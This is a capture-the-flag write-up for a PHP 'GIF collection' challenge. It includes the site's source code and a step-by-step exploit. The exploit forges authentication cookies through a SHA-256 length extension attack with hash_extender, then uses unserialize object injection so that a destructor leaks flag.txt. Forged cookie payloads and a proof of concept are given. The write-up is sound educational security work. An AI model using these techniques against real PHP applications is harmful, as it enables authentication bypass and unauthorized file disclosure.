File: login.php
<?php
require_once("classes.php");
$username = $_POST["username"];
$password = $_POST["password"];
if (Auth::login($username,$password)) {
header("Location: files.php");
} else {
header("Location: index.php");
}
?>
File: files.php
<?php
require_once("config.php");
require_once("classes.php");
$auth = Auth::authenticate();
if ($auth !== true) {
die("Unauthenticated");
}
if(isset($_GET["file"])) {
$file = $_GET["file"] . ".gif";
$f = new File($file);
if(!$f->exists()) {
die("File not found");
}
// If debug mode is enabled, output base64 data instead of the file
if(DEBUG) {
$f->__destruct();
} else {
$contents = $f->contents();
if ($contents === FALSE) {
echo "Failed opening file: " . $file;
} else {
header("Content-Type: " . $f->filetype());
header("Content-Length: " . $f->filesize());
echo $contents;
}
}
exit(0);
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>Video collection</title>
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css" />
<script src="//code.jquery.com/jquery-1.11.3.min.js"></script>
<script>
$(function(){
var img = $("#img")[0];
$(".links a").on("click", function(e) {
e.preventDefault();
img.src = $(this).attr("href");
});
});
</script>
</head>
<body>
<div class="container">
<h1>My GIF collection</h1>
<img id="img" class="u-full-width" />
<ul class="links">
<?php
foreach(glob("files/*.gif") as $file){
$file = str_replace("files/", "", $file);
$file = preg_replace('/\\.[^.\\s]{3,4}$/', '', $file);
echo "<li><a href='files.php?file=$file'>$file</a></li>";
}
?>
</ul>
<a href="http://web2015.icec.tf/giga/files.phps">files.php source</a>
</div>
</body>
</html>
File: classes.php
<?php
require_once("config.php");
// Disable path traversal attacks
define("BASE_DIR", dirname(__FILE__));
$files = array_diff(scandir(BASE_DIR . '/files'), array('..', '.'));
class Auth {
// Validates cookies
static function authenticate(){
$auth = false;
if (isset($_COOKIE["auth"])) {
$sig = $_COOKIE["sig"];
if ($sig !== hash("sha256", AUTH_SECRET . strrev($_COOKIE["auth"]))) {
$auth = false;
} else {
$auth = unserialize($_COOKIE["auth"]);
}
} else {
self::mkcookie(false);
}
return $auth;
}
// Validates a login and sets cookies
static function login($username, $password) {
if($username === USERNAME && $password === PASSWORD) {
self::mkcookie(true);
return true;
} else {
self::mkcookie(false);
return false;
}
}
// Creates cookies according to standards
static function mkcookie($auth) {
$s = serialize($auth);
setcookie("auth", $s);
setcookie("sig", hash("sha256", AUTH_SECRET . strrev($s)));
}
}
class File {
protected $filename;
// Constructor
function __construct($filename) {
$this->filename = $filename;
}
// Returns the MIME type of the file
function filetype(){
if(!$this->exists())
return false;
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$filetype = finfo_file($finfo, BASE_DIR . "/files/" . $this->filename);
finfo_close($finfo);
return $filetype;
}
// Returns the size of the file
function filesize() {
if(!$this->exists())
return -1;
return filesize(BASE_DIR . "/files/" . $this->filename);
}
// Check if the file exists
function exists() {
global $files;
return in_array($this->filename, $files);
}
// Returns the contents of a file
function contents() {
if(!$this->exists())
return false;
return @file_get_contents(BASE_DIR . "/files/" . $this->filename);
}
// For debugging my gifs
function __destruct() {
if(!DEBUG)
return;
$s = "<!-- {DEBUG} \n";
$s .= "{TYPE}" . $this->filetype() . "{/TYPE} \n";
$s .= "{SIZE}" . $this->filesize() . "{/SIZE} \n";
$s .= "{CONTENTS}" . base64_encode($this->contents()) . "{/CONTENTS} \n";
$s .= "{/DEBUG} -->";
echo $s;
}
}
File: config.php
<?php
define("AUTH_SECRET", sha1("REDACTED"));
define("USER", "REDACTED");
define("PASSWORD", "REDACTED");
if(isset($_GET["debug"])) {
define("DEBUG", intval($_GET["debug"]));
} else {
define("DEBUG", 0);
}
We can use Hash length extension vulnerability because of sha256
.
if ($sig !== hash("sha256", AUTH_SECRET . strrev($_COOKIE["auth"]))) {
$auth = false;
} else {
$auth = unserialize($_COOKIE["auth"]);
}
How can we get $auth === true
after unserialize()
? In PHP, Boolean serialization looks like this:
var_dump(unserialize('b:0;')); // bool(false)
var_dump(unserialize('b:1;')); // bool(true)
What is more interesting:
var_dump(unserialize('b:1;b:0;b:0;b:0; another characters')); // bool(true)
Because sha256 uses reversed $_COOKIE["auth"]
content, instead of b:1;
we put ;1:b
at the end of string:
echo strrev(';0:b another characters ;1:b'); // b:1; sretcarahc rehtona b:0;
var_dump(unserialize(strrev(';0:b another characters ;1:b'))); // bool(true)
For extension attack we use Hash Extender by Ron Bowes.
We know that secret length is 40 sizeof(sha1)
:
define("AUTH_SECRET", sha1("REDACTED")); // strlen(sha1("sth")) == 40
./hash_extender -d ';0:b' -s f4229fe3f6cae91ad77f32cfda0de36c228b49d3b3a4b236beb3eee63411616a -a ';1:b' -f sha256 -l 40 --out-data-format=html
Type: sha256
Secret length: 40
New signature: 0ef2102c3ad73b3d5a39ce0ba6f329f6442b4f235762b2932a4b3013aa4ca93b
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%60%3b1%3ab
For correct auth
:
echo urlencode(strrev(urldecode('%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%60%3b1%3ab')));
Now change cookies:
auth=b%3A1%3B%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
sig=0ef2102c3ad73b3d5a39ce0ba6f329f6442b4f235762b2932a4b3013aa4ca93b
We are inside admin panel. Second part is tricky. We need to get flag.txt
content. In old PHP versions it was possible to use null byte because of:
$file = $_GET["file"] . ".gif";
$f = new File($file);
but this doesn't work here. We use object injection instead.
First set $filename = "flag.txt"
.
class File {
protected $filename;
function __construct($filename) {
$this->filename = $filename;
}
}
echo serialize(new File("flag.txt"));
But it will not work. Why? As you can read in PHP manual:
Object's private members have the class name prepended to the member name; protected members have a '*' prepended to the member name. These prepended values have null bytes on either side.
So browser render this text as:
O:4:"File":1:{s:11:"*filename";s:8:"flag.txt";}
But it really looks like:
O:4:"File":1:{s:11:"%NULLBYTE%*%NULLBYTE%filename";s:8:"flag.txt";}
Because hash_extender
understand hex representation we convert our text.
<?php
class File {
protected $filename;
function __construct($filename) {
$this->filename = $filename;
}
}
echo bin2hex(strrev(serialize(new File("flag.txt"))));
Generate new payload:
./hash_extender -d ';0:b' -s f4229fe3f6cae91ad77f32cfda0de36c228b49d3b3a4b236beb3eee63411616a -a 7d3b227478742e67616c66223a383a733b22656d616e656c6966002a00223a31313a737b3a313a22656c6946223a343a4f --append-format=hex -f sha256 -l 40 --out-data-format=html
Type: sha256
Secret length: 40
New signature: 0adadcd33e1d1ba6c05cb342d65ceff8e6acd59ea16b72965c9e8be5b01b9ead
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%60%7d%3b%22txt%2egalf%22%3a8%3as%3b%22emanelif%00%2a%00%22%3a11%3as%7b%3a1%3a%22eliF%22%3a4%3aO
Finally cookies looks like:
auth=O%3A4%3A%22File%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.txt%22%3B%7D%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
sig=0adadcd33e1d1ba6c05cb342d65ceff8e6acd59ea16b72965c9e8be5b01b9ead
We access files.php
and get Unauthenticated
message. Why?
$out = unserialize(urldecode('O%3A4%3A%22File%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.txt%22%3B%7D%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B'));
var_dump($out);
var_dump($out === true);
object(File)#1 (1) {
["filename":protected]=>
string(8) "flag.txt"
}
bool(false)
We have our File
object in memory but it's not true
. What's next? It's time for __destruct.
PHP 5 introduces a destructor concept similar to that of other object-oriented languages, such as C++. The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence.
When die("Unauthenticated");
is displayed, File destructor is called.
In this CTF file content is displayed when we pass ?debug=1
param in URL.
function __destruct() {
if(!DEBUG)
return;
$s = "<!-- {DEBUG} \n";
$s .= "{TYPE}" . $this->filetype() . "{/TYPE} \n";
$s .= "{SIZE}" . $this->filesize() . "{/SIZE} \n";
$s .= "{CONTENTS}" . base64_encode($this->contents()) . "{/CONTENTS} \n";
$s .= "{/DEBUG} -->";
echo $s;
}
Success. View page source because <!--
is treated as HTML comment.
Unauthenticated<!-- {DEBUG}
{TYPE}text/plain{/TYPE}
{SIZE}60{/SIZE}
{CONTENTS}Rm9yIGZyaWVuZHMgb25seTogVGhlIGZsYWcgaXM6IGZsYWdfaV9zd2Vhcl9pdF93YXNfOV9pbmNoZXMK{/CONTENTS}
{/DEBUG} -->
Proof of Concept
Set cookies:
auth=O%3A4%3A%22File%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.txt%22%3B%7D%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
sig=0adadcd33e1d1ba6c05cb342d65ceff8e6acd59ea16b72965c9e8be5b01b9ead
Visit url:
http://giga.icec.tf/files.php?debug=1